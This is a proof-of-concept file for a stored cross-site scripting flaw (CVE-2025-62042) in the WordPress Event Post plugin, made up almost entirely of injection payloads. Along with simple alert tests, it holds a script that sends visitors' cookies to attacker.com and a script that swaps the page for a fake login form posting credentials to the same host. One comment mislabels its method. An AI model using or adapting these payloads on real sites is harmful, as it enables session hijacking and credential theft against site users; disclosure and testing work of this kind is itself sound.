CVE-2025-62042

<!-- CVE-2025-62042 PoC - WordPress Event Post XSS --> <!-- This PoC demonstrates the stored XSS vulnerability in Event Post plugin --> <!-- Method 1: Using img tag with onerror event --> <script>alert(document.cookie)</script> <!-- Method 2: Using event attributes --> <img src=x onerror=alert('XSS')> <!-- Method 3: Using svg tag --> <svg onload=alert(document.domain)> <!-- Method 4: Cookie stealing payload --> <script> var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookie); </script> <!-- Practical exploitation payload --> <script> // Create fake login form to phish credentials var form = '<form action="https://attacker.com/phish" method="POST">'; form += '<input name="username" placeholder="Username">'; form += '<input name="password" type="password" placeholder="Password">'; form += '<input type="submit" value="Login"></form>'; document.body.innerHTML = form; </script> <!-- Note: In real attack, these payloads would be injected into --> <!-- Event Post title, description, or other input fields -->

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